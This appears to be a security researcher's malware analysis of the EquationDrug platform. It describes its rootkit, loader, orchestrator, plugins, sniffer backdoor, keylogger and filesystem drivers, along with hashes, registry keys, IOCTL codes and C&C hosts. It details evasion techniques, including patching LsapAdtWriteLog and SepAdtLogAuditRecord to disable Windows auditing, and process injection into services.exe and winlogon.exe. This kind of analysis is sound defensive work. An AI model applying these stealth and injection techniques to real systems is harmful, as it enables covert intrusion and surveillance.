On the Dynamic_Init event, the driver retrieves the location of the user-mode loader executable from the following registry value:

[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] Config

If the value is not present in the registry, it uses the following fallback string hardcoded in the binary:

C:\WINDOWS\SYSTEM\SVCHOST32.EXE

Next, it installs a callback procedure using Windows function _SHELL_CallAtAppyTime. This procedure will be called when CPU is running in ring-3 mode, so that a new executable (loader process) can be started via the traditional way. This is a standard trick that was used by developers in the 90s to initiate a call to DLL export in ring-3 from ring-0 in Windows 9x OS family.

Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys MD5 c4f8671c1f00dab30f5f88d684af1927 Size 105 392 bytes Format PE32 Native Compiled 2008.01.23 14:12:33 (GMT) Location %System32%\drivers\msndsrv.sys

This module can create log files in the following known locations:

%systemroot%\system32\mslog32.dat
%systemroot%\system32\msperf32.dat (default location)

The driver acts as the first stage of the EquationDrug platform on Windows 2000+ and implements rootkit functions for hiding the components of the platform. Additionally, it implements a NDIS driver for filtering network traffic.

When started and initialized, the driver retrieves the location of the user-mode loader executable from the registry value:

[HKLM\System\CurrentControlSet\Services\%driver name%] Config

The %driver name% is not hardcoded and is obtained dynamically from the current module name, which means that different instances may check different registry keys and this may not be a reliable way to check for infection. The sample we analyzed used "msndsrv" as the %driver name%.

Next, it crafts and injects a shellcode in "services.exe" or "winlogon.exe". The shellcode is designed to spawn the loader process from the executable called "mscfg32.exe".

The rootkit code in the driver hooks several Native API functions that lets it hide or protect registry keys, files and running processes. The components of EquationDrug can modify the list of protected objects by sending DeviceIoControl messages to the driver. The driver also maintains a persistent list of protected objects that is stored in the following registry values:

[HKLM\System\CurrentControlSet\Services\%driver name%] 1
[HKLM\System\CurrentControlSet\Services\%driver name%] 2

These values are also protected by the rootkit. They can be revealed by booting Windows in Safe Mode.

The driver contains the following unused strings:

• \\.\mailslot\dskInfo
• Dissecorp
User-mode loader - mscfg32.exe, svchost32.exe MD5 c3af66b9ce29efe5ee34e87b6e136e3a Size 22 016 bytes Format PE32 EXE Compiled 2008.01.23 14:26:05 (GMT) Location %System32%\mscfg32.exe

This module opens a unique event named "D0385CB7-B834-45d1-A501-1A1700E6C34E". If the event exists, it waits for 10 seconds and attempts to open a file whose name can be decrypted as "\\.\MSNDSRV". If the device file is successfully opened, the code issues a device request with IOCTL code 0x80000194 and no parameters.

This module uses RC5 in CBC-like mode with a key length of 96-bit for string encryption.

Careful analysis reveals some bits of uninitialized memory found next to encryption key locations. This is unused but partly meaningful memory, because it seems to contain short chunks of strings resembling some local filepaths:

• "rver\8" (probably part of "Server\8..." string)
• "LInj" (could be a part of "DLLInjector" or similar)

It's apparent that some parts of the code were designed to run on Windows 9x, for example a call to RegisterServiceProcess Windows API function makes sense only on Windows 9x OS family, because this API function doesn't exist on Windows NT platform.

The module uses a unique algorithm for generating registry value names. The code contains strings, such as "SkyhookChow Target", that are converted to GUID-like strings by calculating SHA1 hash and using its hexadecimal representation as a string. The resulting strings are used as actual registry value names in [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] registry key.

Sample registry value names:

Original String GUID-like registry value name SkyhookChow Target {B6F5CD13-A74D-8B82-A6AA-6FA1BE2484C1-6832DF06} SkyhookChow Payload {F4CF0326-6DCD-EEC8-5323-01CEDB66741A-B55F6F12}

These registry values are encrypted using an RC5 algorithm using a hardcoded 1024-bit key with 24 rounds.

The registry value:

should contain the location of the orchestrator DLL file ("mscfg32.dll"). If the value is not present a default value "%SYSTEM%\mscfg32.dll" is used.

The registry value:

[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {B6F5CD13-A74D-8B82-A6AA-6FA1BE2484C1-6832DF06} ("SkyhookChow Target")
may contain the location of the executable file that will be used as a "shell" process for the orchestrator library.

The module attempts to start the "shell" process in suspended mode. If there is no "SkyhookChow Target" value or the specified executable fails to start, the module tries different failsafe locations of the programs that can be used instead:

1. Default browser set in the registry [HKLM\SOFTWARE\Clients\StartMenuInternet\{current @default value}\shell\open\command]
2. %SystemRoot%\System32\svchost.exe
3. %SystemRoot%\System32\lsass.exe
4. Spoolsv service binary from the [HKLM\SYSTEM\CurrentControlSet\Services\Spooler] ImagePath registry value.
5. Default html file handler from [HKLM\SOFTWARE\Classes\htmlfile\shell\open\command]registry value.
6. Internet Explorer path from [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\] IEXPLORE.EXE registry value.

Next, the module injects extra code into a newly started target process. The injected code loads the payload DLL ("mscfg32.dll") into the target process and waits for the parent process to exit. When the parent process quits, it unloads the payload DLL and exits as well. The rest of the logic relies on the loaded DLL in that new process. See the description of the "mscfg32.dll" module below.

The module communicates with the Stage0/Rootkit driver "msndsrv.sys" by sending DeviceIoControl messages to the device "\\.\MSNDSRV". It activates the rootkit for its own process, for the target process holding the orchestrator and for all the files involved.

Platform orchestrator - mscfg32.dll, svchost32.dll MD5 5767b9d851d0c24e13eca1bfd16ea424 Size 249 856 bytes Format PE32 DLL Compiled 2008.01.24 22:11:34 (GMT) Location %System%\mscfg32.dll

Creates mutex: "01C482BA-BD31-4874-A08B-A93EA5BCE511", or terminates if one already exists.

Writes a timestamped log file to one of the following locations:

• %SystemRoot%\temp\~yh56816.tmp
• C:\Windows\Temp\~yh56816.tmp
• %Registry_SystemRoot_Value%\temp\~yh56816.tmp
• Value of [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] D

The file "~yh56816.tmp" retains the history of execution. It comprises debug records of simple structure:

Stage: DWORD | DateTimeLow: DWORD | DateTimeHigh: DWORD

Basically, it logs the execution of every stage of the orchestrator and the time of execution. The Stage is an integer number starting from 1.

This module spawns a new thread in the DllMain function which contains the main function body. The procedure disables application error popups shown by the default exception handler. This is probably done only in the "Release" version of the malware, because the following code generates exceptions that are reported to the user if application error popups are not disabled. We assume that the "Debug" version of the code doesn't suppress error popups when exception occurs as this helps with the debugging of the code.

The module checks the OS version and if it encounters an unsupported operating system the code generates an exception which terminates the application. The list of OS versions that pass this test:

• Windows 95/98/ME
• Windows NT 4.0 and above.

If the module runs on Win9x, it executes Win9x-specific function RegisterServiceProcess to hide from the Windows Task Manager application. If the module is NOT running on WinNT6.0+, it then attempts to open a virtual device file with one of the following names:

• \\.\MSSVC32 on Win9x
• \\.\MSNDSRV on WinNT

If the device file is successfully opened, the module activates a rootkit for its process and for the file location "%SYSTEM%\unilay.dll" local path. This is followed by finding and terminating a process named "winproc.exe" which is the name of another component of the platform. Note that this part of the code is executed only on platforms different from WinNT 6.x (Windows Vista and later).

The module was designed to fetch or update its main configuration data from different places. There are some default values set inside the code, such as some timeout values and the following C&Cs:

• www.waeservices[.]com
• 213.198.79.49

These default values can be overwritten later.

Next, it locates a data section called "Share2" in the current module and verifies the starting magic number. If it is 0x63959700, it then decrypts the rest of the data in the section and interprets it as a configuration block. However, data from the next location can override all previous settings. This is a registry value with special name.

The naming of the registry location is the same GUID-like SHA1 value as the one used in the loader ("mscfg32.exe"), and is produced from the source string "Configuration":

[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {42E14DD3-F07A-78F1-7659-26AE141569AC-E0B3EE89}

The configuration block stored in the registry value is encrypted using RC5 with the 1024-bit key. Both the loader and the orchestrator share the same key for encrypting and decrypting the registry values in the "MemSubSys" key.

The decrypted configuration block consists of a series of tagged configuration records in the following format:

[RecordType:DWORD][RecordSize: DWORD][RecordValue: %RecordSize%]

We retrieved a copy of a configuration block and decrypted and partly interpreted it. We are including the results for one of the configuration blocks:

Time value: 1 year 0 months 1 days 22 hours 6 mins 52 secs. The orchestrator is expected to set this field to the time of initial configuration.
Binaries: 3x1024-bit encryption keys
05000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000
ed04953f3452068ae6439f04c7904c8be5e98e66e2cd0f267d65240aeed88bd4d3c6105 c99950dd42ccde4bc6bbaf9f6cb1b4e628d943e91f8f97f2aff705fdd25e3af6ba0bc4fd13 d67a2bcb751bb8f21f3d4b66c599f3e572802911394d142f8cf3a299d6d4558f9f0f01634 9afd1888472f4f8c729ffe913f670931f1a227
C&C domain: www[dot]waeservices[dot]com
C&C port: 443
Timestamp: 2010-12-08 11:35:57
Tool Reference: VTT/82055898/STEALTHFIGHTER/ 2008-10-16/14:59:06.229-04:00
TimeoutA: 25200 sec (7 hours)
TimeoutB: 32400 sec (9 hours)
TimeoutC: 3600 sec (1 hour)
TimeoutD: 172800 sec (48 hours)
+Several Unknown Values

Other configuration blocks we discovered contained similar information, with only some unique values:

Timestamp: 2009-11-23 14:10:15
Tool Reference: Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00
Tool Reference: VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00
Tool Reference: STRAITSHOOTER30.ex_
Tool Reference: VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00
Tool Reference: BACKSNARF_AB25

During the next step, the module obtains PE file version information from the resource section. It loads the version info using hard-coded module names, which are supposed to match the current module name:

• SVCHOST32.DLL for Windows 9x
• MSCFG32.DLL for Windows NT

If file version information is available, it gets language-specific values of the PrivateBuild block. The codepage and languages that are verified: Unicode, LANG_NEUTRAL and LANG_ENGLISH_US. When this check passes, the module gets @default registry value from the following location:

If the key is not found, the code checks for registry value TypeLib in the following key:

If such a value is found, it is then deleted along with the Version value if it exists in the same key.

The string obtained from one of two possible registry values is processed as if this value is a CLSID-like string: the code takes the last 16 hexadecimal digits, splits them in two 8-chars values, converts them to binary form (two DWORDs) and reverses the order of bytes in each DWORD and XORs, the first value with 0x8ED400C0, and the second with 0x4FC2C17B.  Next, the first DWORD value becomes second and the second becomes first. In this order, they are stored in a structure in memory. These two values seem to be very important as they override a few values in the previously known configuration. If they don't exist, values from the current configuration replace them and are stored back in the registry following the reverse procedure:

1. [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\Version] is created and @default value is set to version obtained from file version information PrivateBuild field (i.e. 3.04.00.0001). This seems to be used as kit version number.
2. [HKLM\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\Version] is created and @default value is set to a CLSID like string generated from the following:
• Fixed prefix string: "{8C936AF9-243D-11D0-"
• Two important DWORD values in the format of "%04X-%04X%08X}" string.

We collected and decrypted several samples of such values. According to the code, they are initialized with values of the Microsoft filetime format. So, we decided to interpret them as filetime values:

20101C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 23 hour(s) 32 min(s) 1 sec(s)
81E01C04EC2C17B: 1 year(s) 7 month(s) 8 day(s) 12 hour(s) 13 min(s) 5 sec(s)
E0001C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 1 hour(s) 6 min(s) 15 sec(s)
77101C04EC2C17B: 1 year(s) 5 month(s) 20 day(s) 19 hour(s) 15 min(s) 4 sec(s)
30F01C04EC2C17B: 1 year(s) 8 month(s) 0 day(s) 6 hour(s) 10 min(s) 33 sec(s)
C0901C04EC2C17B: 1 year(s) 8 month(s) 2 day(s) 6 hour(s) 29 min(s) 39 sec(s)
66701C04EC2C17B: 1 year(s) 6 month(s) 9 day(s) 2 hour(s) 10 min(s) 23 sec(s)
F6501C04EC2C17B: 1 year(s) 6 month(s) 6 day(s) 19 hour(s) 53 min(s) 22 sec(s)
01401C04EC2C17B: 1 year(s) 6 month(s) 25 day(s) 23 hour(s) 34 min(s) 13 sec(s)

After that, the module stores current time values in encrypted form in the registry value:

[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] {08DAB849-0E1E-A1F0-DCF1-457081E091DB-117DB663} (encoded SHA1 of "StartTime")

The module contains an additional compressed Windows DLL file in the resource section, which is extracted as "unilay.dll" (see below). This DLL exports a number of functions that are just wrappers of the system API used to work with files and the registry, and also start processes and load additional DLL files.

The orchestrator contains several built-in plugins that form the core of the platform. These are initialized in the first place, and then additional plugins are loaded. All the plugins are indexed in a single encrypted registry value:

[HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] 1

This value has information about all the components of the current kit. It may include Unicode strings with paths to extra DLLs which serve as plugins. Each DLL exports at least four functions which are imported by ordinal numbers from 1 to 4.

The structure of the registry value "1":

[Count:DWORD]{ [Plugin Id:WORD][Plugin Path Length:DWORD][Plugin Path String:VARIABLE] }

Plugins interact with each other and with the orchestrator by exchanging messages of pre-defined format. The message transport is implemented as a global object that contains four communication streams. Every stream contains a pair of kernel synchronization object handles (a semaphore with fixed maximum value defaulted to 1000 and a mutex) and a message queue as an array. A dedicated thread processes messages that appear in the message queues.

A message arrives in a parcel, represented as two DWORD values that contain the size of the message and a pointer to the message data. The message data starts with a DWORD identifying a class of message (a request, reply, etc).

The orchestrator contains the following built-in plugins (listed by internal ID): 8000, 8022, 8024, 803C, 8046, 800A, 8042, 8002, 8004, 8006, 8008, 8070, 808E. Several additional built-in modules have been discovered in newer versions of the orchestrator that was shipped with the GrayFish platform.

EquationDrug Plugins: Plugin ID File name Description 8000 Built-in Core, basic API for other modules 8002 wshcom.dll C&C communication using Windows sockets 8004 Built-in Additional message queue 8006 Built-in Memory allocation / storage 8008 vnetapi32.dll& C&C communication code based on DoubleFantasy, using WinInet API 800A Built-in C&C communication orchestrator 800C perfcom.dll HTTP communication 8022 khlp680w.dll System API: execute processes, load libraries, manipulate files and directories 8024 cmib158w.dll Collects system information: OS version, computer name, user name, locale, keyboard layout, timezone, process lists 8034 cmib456w.dll Management of the VFS backed by encrypted ".FON" files in the "Fonts\Extension" directory. Provides encryption using RC5 for these files 803E nls_874w.dll Network sniffer 803C Built-in Communication with the NDIS filter part of "msndsrv.sys" 8040 khlp807w.dll Network exploration API, share enumeration and access 8042 Built-in Compression library based on Nrv2d / UCL 8046 Built-in Communication with the rootkit part of "msndsrv.sys" 8048 mstkpr.dll Disk forensics and direct NTFS reader based on sources of SleuthKit 8050 khlp760w.dll Additional encryption facilities for the file-backed VFS 8058 khlp733w.dll Collects local system information, WMI information, cached passwords 8070 khlp747w.dll Enumerates processes and system objects 807A mscoreep32.dll Plugins for monitoring Internet Explorer and Mozilla browser activities 808A khlp866w.dll Compression library based on Zlib 808E Built-in Reverse (PTR record) DNS resolver 8094 Built-in In-memory storage 809C Built-in In-memory storage 80AA nls933w.dll HDD / SSD firmware manipulation 80AE wpl913h.dll Keylogger and clipboard monitoring (aka "GROK") 80BE vnetapi.dll C&C communication via WinHTTP API 80C6 webmgr.dll Extracts web history, Mozilla/Internet Explorer-saved form data and cached credentials 80CA wshapi.dll C&C communications interface via Windows sockets Additional components Unilay.DLL

This module provides a compatibility layer for accessing system API functions for Windows 9x. It redirects Unicode ("W") variants of Windows API functions to corresponding ANSI variants by converting Unicode string parameters to multi-byte strings and calling the respective ANSI API.

MD5 EF4405930E6071AE1F7F6FA7D4F3397D Size 9 728 bytes Compiled 2008.01.23 14:23:10 (GMT) Format PE32 DLL, linker version 6.0 (Microsoft Visual C++ 6.0)

Exported functions (redirected to ANSI variants):

• 100017EF: CopyFileW
• 10001039: CreateDirectoryW
• 10001111: CreateFileW
• 100011B3: CreateProcessW
• 10001177: DeleteFileW
• 10001466: FindFirstFileExW
• 10001300: FindFirstFileW
• 100014C6: FindNextFileW
• 10001564: GetCurrentDirectoryW
• 1000188F: GetFileAttributesW
• 100016C6: GetStartupInfoW
• 10001602: GetSystemDirectoryW
• 10001664: GetWindowsDirectoryW
• 1000178B: MoveFileExW
• 1000172D: MoveFileW
• 10001913: RegCreateKeyExW
• 100019F5: RegDeleteKeyW
• 10001DDF: RegDeleteValueW
• 10001A39: RegEnumKeyExW
• 10001BE2: RegEnumValueW
• 1000199B: RegOpenKeyExW
• 10001B23: RegQueryInfoKeyW
• 10001D57: RegSetValueExW
• 100010D5: RemoveDirectoryW
• 10001E81: SHGetFileInfoW
• 100015C6: SetCurrentDirectoryW
• 100018CB: SetFileAttributesW
• 10001E23: lstrcmpW
Network-sniffer/patcher - atmdkdrv.sys MD5s 8d87a1845122bf090b3d8656dc9d60a8
214f7a2c95bdc265888fbcd24e3587da Size 41 440, 43 840 bytes Format PE32 Native Compiled 2009.04.16 17:19:30 (GMT)
2008.05.07 19:55:14 (GMT) Version Info
• FileDescription: Network Services
• InternalName: atmdkdrv.sys

or

• FileDescription: CineMaster C 1.1 WDM Main Driver
• InternalName: ATMDKDRV.SYS

Creates a file storage "\SystemRoot\fonts\vgafixa1.fon". Its first word is set to 0x21 at the beginning of the DriverEntry function, and is replaced with 0x20 at the end of DriverEntry.

This driver appears to have been put together in "quick-and-dirty hack" style, using parts of the "mstcp32.sys" sniffer and other unknown drivers. It contains a lot of unused code which is partially broken or disabled. These include a broken "Dynamically disable/enable windows audit logging" subsystem and an incomplete "Patcher mode".

There are three algorithms used for strings encryption - RC5; alphabet encryption like the one used in "mstcp32.sys"; and XOR with a pre-seeded random number generator. Decrypted strings are immediately encrypted back until the next usage to avoid in-memory detection.

The driver's filename and device name differ across the samples. They depend on the name of the registry key that is used to start the driver.

The driver may operate in one of two independent modes - as a network sniffer or as a memory patcher. The mode of operation is selected on startup, based on the "Config2" value of the driver's registry key. By default the driver starts in "sniffer mode".

Sniffer mode

The sniffer code is similar to the one used in the driver's "tdip.sys" and "mstcp32.sys" and uses NT4 NDIS-4, XP NDIS-5 interfaces, targeting incoming traffic on Ethernet and VPN (ndiswanip) interfaces. It captures only directed packets (containing a destination address equal to the station address of the NIC). Packers-filtering engine rules may be set via DeviceIoControl messages. Filtered packets are stored in-memory until requested. Maximum packets storage list length is 128 items per filtering rule.

Patcher mode

Almost broken, it does nothing interesting except, possibly, replace the thread's ServiceTable to an unchanged, clear copy taken from the on-disk image of "ntoskrnl.exe".

Sniffer only IOCTLs:
44038008 - clear stored packet in specified filtering rules list
4403800C - enable specified filtering rule
44038010 - disable specified filtering rule
44038014 - get stored packet from specified filtering rules list
44038018 - process packet like the one received from the wire (filter and store)
4403801C - set maximum rules list length
44038020 - get maximum rules list length
80000004 - enablePacketsFiltering
80000008 - disablePacketsFiltering (PauseSniffer)
800024B4 - send packet to the specified network interface

Common IOCTLs:
80000028 - do nothing (broken/unused part)
80000038 - set external object (broken/unused part)
8000003C - get 4 dwords struct (broken/unused part)
80000040 - copy 260 bytes from the request (broken/unused part)
80000320 - set I/O port mapping (broken/unused part)
80000324 - clear I/O port mapping (broken/unused part)
80000328 - set external PnP Event (broken/unused part)
80000640 - replace specified thread's SDT (ETHREAD.ServiceTable field) to a given copy

Backdoor driven by network sniffer - "mstcp32.sys", "fat32.sys" MD5s 74DE13B5EA68B3DA24ADDC009F84BAEE
B2C7339E87C932C491E34CDCD99FEB07
311D4923909E07D5C703235D83BF4479
21C278C88D8F6FAEA64250DF3BFFD7C6 Size 57 328 - 57 760 bytes Format PE32 Native Compiled 2007.10.02 12:42:14 (GMT)
2001.08.17 20:52:04 (GMT) Version Info
• FileDescription: TCP/IP driver
• InternalName: mstcp32.sys

This is a sniffer tool similar to "tdip.sys" and it uses NT4 NDIS-4, XP NDIS-5 interfaces.  It targets incoming traffic on Ethernet and VPN (ndiswanip) interfaces, but instead of dumb packet dumping, it uses received packets as commands for the "process injector" subsystem that is able to extract and execute code from the specially crafted network packets.

Default filtering rules are stored in the "Options" registry value of the driver's registry key. It captures only directed packets (containing a destination address equal to the station address of the NIC).

The driver's filename and device name differ across the samples. They depend on the name of the registry key that is used to start the driver.

Code Patcher

The driver patches OS code to dynamically disable or enable Windows audit logging.

It patches the function "LsapAdtWriteLog" in "lsasrv.dll" module of the "lsass.exe" process.

It searches for pre-defined signatures of the function "LsapAdtWriteLog" of known Windows versions - 4.0, 5.0, 5.1, 5.2 (NT4, Win2000, XP, WinSrv2003).

Then it selects a corresponding offset to replace the opcodes:

• 'jz' to never taken 'jo' in case of XP
• jmp over inner logic to procedure epilog in case of Windows Server 2003 so LsapAdtWriteLog skips logging of audit records

The module also patches "SepAdtLogAuditRecord" inside "ntoskrnl.exe" to "retn 4" instead of the first opcode of the function.

The disabled audit can be restored after a timeout or on-event by a dedicated thread.

Expected IOCTL codes:

• 80000004 - setFilteringRules
• 80000008 - disablePacketsFiltering (PauseSniffer)
• 80000028 - do nothing (possible broken GetDriverName)
• 80000038 - disable_audit
• 8000003C - enable_audit
Code Injector

The code-builder within this module facilitates exploitation by providing up to four predefined execution templates, which seem to be suitable for generating several code patterns.

Below is a list of the execution templates we found:

• locate a DLL via PEB structure and resolve exports
• call single function
• call four functions
• call six functions

Using these as a base for the templates, the code-builder inserts parameters and proper offsets to call one of the following code patterns:

• Locate and call WinExec
• Locate and call OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualFreeEx, CloseHandle

The code injection procedure allocates memory via ZwAllocateVirtualMemory in services.exe and copies implanted code. After that it uses KeInsertQueueApc to let the code run and waits 30 seconds for APC to complete.

When the module starts, it reads registry value [HKLM\System\CurrentControlSet\Services\%driver name%] Processes. This value may contain a list of process names that should be started by injected executable code but only after services.exe and winlogon.exe has been started. The injection of code into winlogon.exe and services.exe ensures that the newly started process will have SYSTEM user privileges. During the injection stage Windows Audit Logging is fully disabled to avoid leaving any suspicious records in Windows Logs.

Magic Packet Recognition

All incoming packets are first filtered by BPF-like rules. The filtering rules are located in [HKLM\System\CurrentControlSet\Services\%driver name%] Options registry value or passed via corresponding IOCTL. Packets that passed through the filter are added in the end of processing queue.

Packets from the queue must have valid checksum values. After checking that, the code XOR-decrypts additional data from the end of the packet. The decrypted end of the packet contains another control structure that defines which encryption algorithm is used to decipher packet body. Supported algorithms include RC5 and RSA. There is a 1024-bits RSA public key hardcoded inside the module body, while a 96-bits RC5 key is generated dynamically.

The backdoor command may arrive in a single packet or be split into pieces and come with several packets. There is a procedure for re-assembling pieces together: a multi-packet command is added to a special packet collector which puts all the pieces together before passing it further.

Backdoor command is stored in the first byte of the decrypted request and can be one of the following values:

Command Byte Short Name Description 0 StatusCheck Reply with encrypted DriverName, packet collector keys, "Processes" and "Params" registry values, names of processes for code injection (defaults are "services.exe" and "winlogon.exe"), list of unprocessed commands from packet collector. 1 Panic Disable packet filtering, securely delete driver file, clear related registry keys, set ClearPageFileAtShutdown flag, unbind adapters, delete devices and prepare for unloading. However, the driver cannot unload itself and it remains in the memory until reboot, which means it can be detected via DRIVER_OBJECT structure. 2 CodeInject Injects code implant received from packet body. 3 CallWinExec Disable Windows Audit and start new process via standard code injection in Winlogon.exe. 4 ResetCollector Drop all packets with specific key from packet collector. 5 Unused or disabled 6 GenerateRC5Key Generates RC5 session key. 96-bits RC5 key is generated by taking a SHA1 hash of value from KeTickCount, XOR-encrypt with SHA1 hash of two PerformanceFrequency values, which is followed by nine more additional SHA1 hashing. 7 SetRegProcesses Sets new "Processes" registry value. 8 DeleteRegProcesses Deletes current "Processes" registry value. 9 SetRegParams Sets a universal "Params" registry value which is used for storing any information, i.e. could be a unique victim marker or exploitation stage number. a Unused or disabled b Ping Reply with classic ICMP Echo Response packet. c ChangeInjectTarget Set new target injection processes (defaults are "Winlogon.exe" and "Services.exe"). Effective until reboot.

Note: "mstcp32" is mentioned together with rootkit-like behavior in 2004 here: http://www.pcreview.co.uk/forums/mstcp32-t1445152.html

Network Sniffer - tdip.sys MD5s 20506375665a6a62f7d9dd22d1cc9870
60dab5bb319281747c5863b44c5ac60d Size 22448 - 28800 bytes Format PE32 Native Compiled 2006.10.16 18:42:40 (GMT)
2003.08.17 21:47:33 (GMT)

Supports the following versions of Windows: NT4 using NDIS-4 and XP using NDIS-5. Doesn't use Vista and later NDIS-6 features. However, later NDIS versions are backward-compatible, so the driver is still valid for current versions of Windows.

Version Info:

• FileDescription: IP Transport Driver
• FileVersion: 5.1.2600.2180
• InternalName: tdip.sys

This driver is a packet sniffer for incoming-only traffic on Ethernet and VPN (ndiswanip) interfaces or any used with ms_pschedmp as an alternative connection.

It implements a BPF (Berkeley packet filter) style packet-filtering system that is configured from the driver's registry configuration values or from DeviceIoControl messages.

The captured network packets may be written to disk in libpcap format (magic 0xA1B2C3D4 version 2.4) and encrypted with one-byte XOR, key 0xE3.

The driver's configuration is stored in the registry key:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tdip]

• Options - packet filtering rules in BPF format
• Tag - selector of filtered packet types / Defaults in case of MediumWan to NDIS_PACKET_TYPE_BROADCAST|NDIS_PACKET_TYPE_MULTICAST|NDIS_PACKET_TYPE_DIRECTED;
(or NDIS_PACKET_TYPE_BROADCAST|NDIS_PACKET_TYPE_DIRECTED in any other case)
• ImageFile - full path name to the resulting pcap file
• Duration - used as Length of the original packet in dump file. (default 0xffff)
• Backup - max size of the pcap file

IOCTLs:

• 0x80002004 getCurrentState
• 0x80002008 setFilteringRules
• 0x8000200C getFilteringRules
• 0x80002024 getDumpFileSize
• 0x80002010/0x80002014/0x80002018/0x8000201C pause/resume
• 0x80002020 getVersion - returns 2.4.0

Driver has three logical parts, and uses an incomplete function pointer table as interface:

1. Business logic: filtering rules, packet dumping, device ioctl, options
2. Ndis driver skeleton
3. Primitives lib: Strings, XORing, registry I/O

The code is of very good quality. It looks more complicated than Winpcap 2.3 (released 28 mar 2002), but less so than Winpcap 3.0 (released by 10 apr 2003). Interestingly, the driver identifies itself as "version 2.4" in the pcap file despite there being no Winpcap version 2.4.

Key/clipboard logger driver - msrtvd.sys MD5s 98dea1bce37bf7087360e1958400589b
bb8f56874189d5dfe9294f0553a49b83
f6bf3ed3bcd466e5fd1cbaf6ba658716 Size 31 488 - 36 736 bytes Format PE32 Native Compiled 2010.02.19 22:45:18 (GMT)
2008.09.17 16:23:54 (GMT) Version Info
• FileDescription: MSRTvd interface driver
• InternalName: msrtvd.sys

This is a keylogger and clipboard monitoring tool.

On startup, the driver creates a device named "\Device\Gk0" and a symbolic link named "\DosDevices\Gk".

Then it attaches to the csrss.exe process and disassembles user32.dll and ntdll.dll routines to obtain win32k.sys and ntoskrnl.exe SDT services indexes and pointers of needed Nt/Zw APIs.

Then, using a built-in disassembler, it obtains pointers to NtUserPeekMessage, NtUserGetMessage, NtUserGetClipboardData and using the disassembler again selects the parts of the code that will be then hooked by splicing.

The interceptor routines are copied from a special PE section named ".msda". These routines are able to collect key press chains and clipboard text data, add information about current Time, ProcessName, ForegroundWindowText,and UserName related to this event.

A dedicated thread ("dumper") gathers the collected data, compresses the results with LZO appends it every 30 minutes to a file "%system-wide TEMP%\tm154o.da".

Most strings inside are encrypted by XOR with a pre-seeded random number generator.

IOCTLs:

• 0x220030 - stop dumper thread
• 0x220034 - check if the driver has new data to dump
• 0x220038 - set two external events signaled on dump data availability (it references a plugin possibility)
• 0x22003C - restart dumper thread
• 0x220040 - get size of available data
Collector plugin for Volrec - msrstd.sys MD5s 69e7943f3d48233de4a39a924c59ed2c
15d39578460e878dd89e8911180494ff Size 13 696 - 17 408 bytes Format PE32 Native Compiled 2009.06.05 16:21:55 (GMT)
2009.12.15 16:33:52 (GMT) Version Info
• FileDescription: msrstd driver
• InternalName: msrstd.sys

This driver is a plugin that collects events from the "volrec.sys" driver, and delivers them by sending DeviceIoControl messages. It collects events about file and disk volume operations.

On startup the driver obtains a pointer to "\Device\volrec", then creates a control device "\Device\msrstd0" and a symbolic link to it named "\DosDevices\msrstd"

All strings inside the driver are encrypted by XOR with a pre-seeded random number generator.

For file events the driver collects the filenames, and caches data about read and write operations. For disk volume events it queries disk properties and reads volume labels and disk serial numbers of removable drives (USB, FireWire drives).

IOCTLs:

0x220004 - turn on VolumeEvents collection
0x220008 - turn off VolumeEvents collection
0x22000C - retrieve previously stored VolumeEvent (operationType, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter)
0x220010 - turn on FileEvents collection
0x220014 - turn off FileEvents collection
0x220018 - retrieve previously stored FileEvent (fileName, deviceTypeFlags, VolumeLabel, volumeSerialNumber, DosDriveLetter)
0x22001C - connect to Volrec.sys (send ioctl 0x220004), enable plugin operation
0x220020 - disconnect from Volrec.sys (send ioctl 0x220008), disable plugin operation

Filesystem filter driver – volrec.sys, scsi2mgr.sys MD5s a6662b8ebca61ca09ce89e1e4f43665d
c17e16a54916d3838f63d208ebab9879 Size 14 464-14 848 byres Format PE32 Native Compiled 2009.06.05 16:21:57 (GMT)
2009.12.15 16:33:57 (GMT) Version Info
• FileDescription: Volume recognizer driver
• InternalName: volrec.sys

This driver is a generic filesystem filter which feeds system events to user-mode plugins.

On startup the driver creates a control device named "\Device\volrec" and a symbolic link to it named "\DosDevices\volrec0". It then attaches all available filesystem devices.  It is also, able to handle removable storage devices.

All strings inside the driver are encrypted by XOR with a pre-seeded random number generator.

IOCTLs:

• 0x220004 - setup plugin interface
• 0x220008 - disable plugin calls

The driver handles the following system events:

• file opened, created or closed
• data is read or written to a file
• new volume is mounted, unmounted
• new USB or FireWire device attached
HDD/SSD operation helper driver - WIN32M.SYS MD5s 2b444ac5209a8b4140dd6b747a996653
b3487fdd1efd2d1ea1550fef5b749037 Size 19 456 - 26 631 bytes Format PE32 Native, PE32+ Native Compiled 2001.08.23 17:03:19 (GMT)
2013.05.14 15:58:36 (GMT) Description This module will be the subject of a dedicated blogpost. HDD/SSD firmware operation - nls_933w.dll MD5s 11fb08b9126cdb4668b3f5135cf7a6c5
9f3f6f46c67d3fad2479963361cf118b Size 212 480 - 310 272 bytes Format PE32 DLL, PE32+ DLL Compiled 2010.06.15 16:23:37 (GMT)
2013.05.14 16:12:35 (GMT) Version Info (64bit dll only)
• FileDescription: Windows Networking Library
• FileVersion: 80AA
• InternalName: nls_933w.dll
• OriginalFilename: nls_933w.dll
• PrivateBuild: 4.0.1.0
• ProductName: Microsoft(R) Windows (R) 2000 Operating System
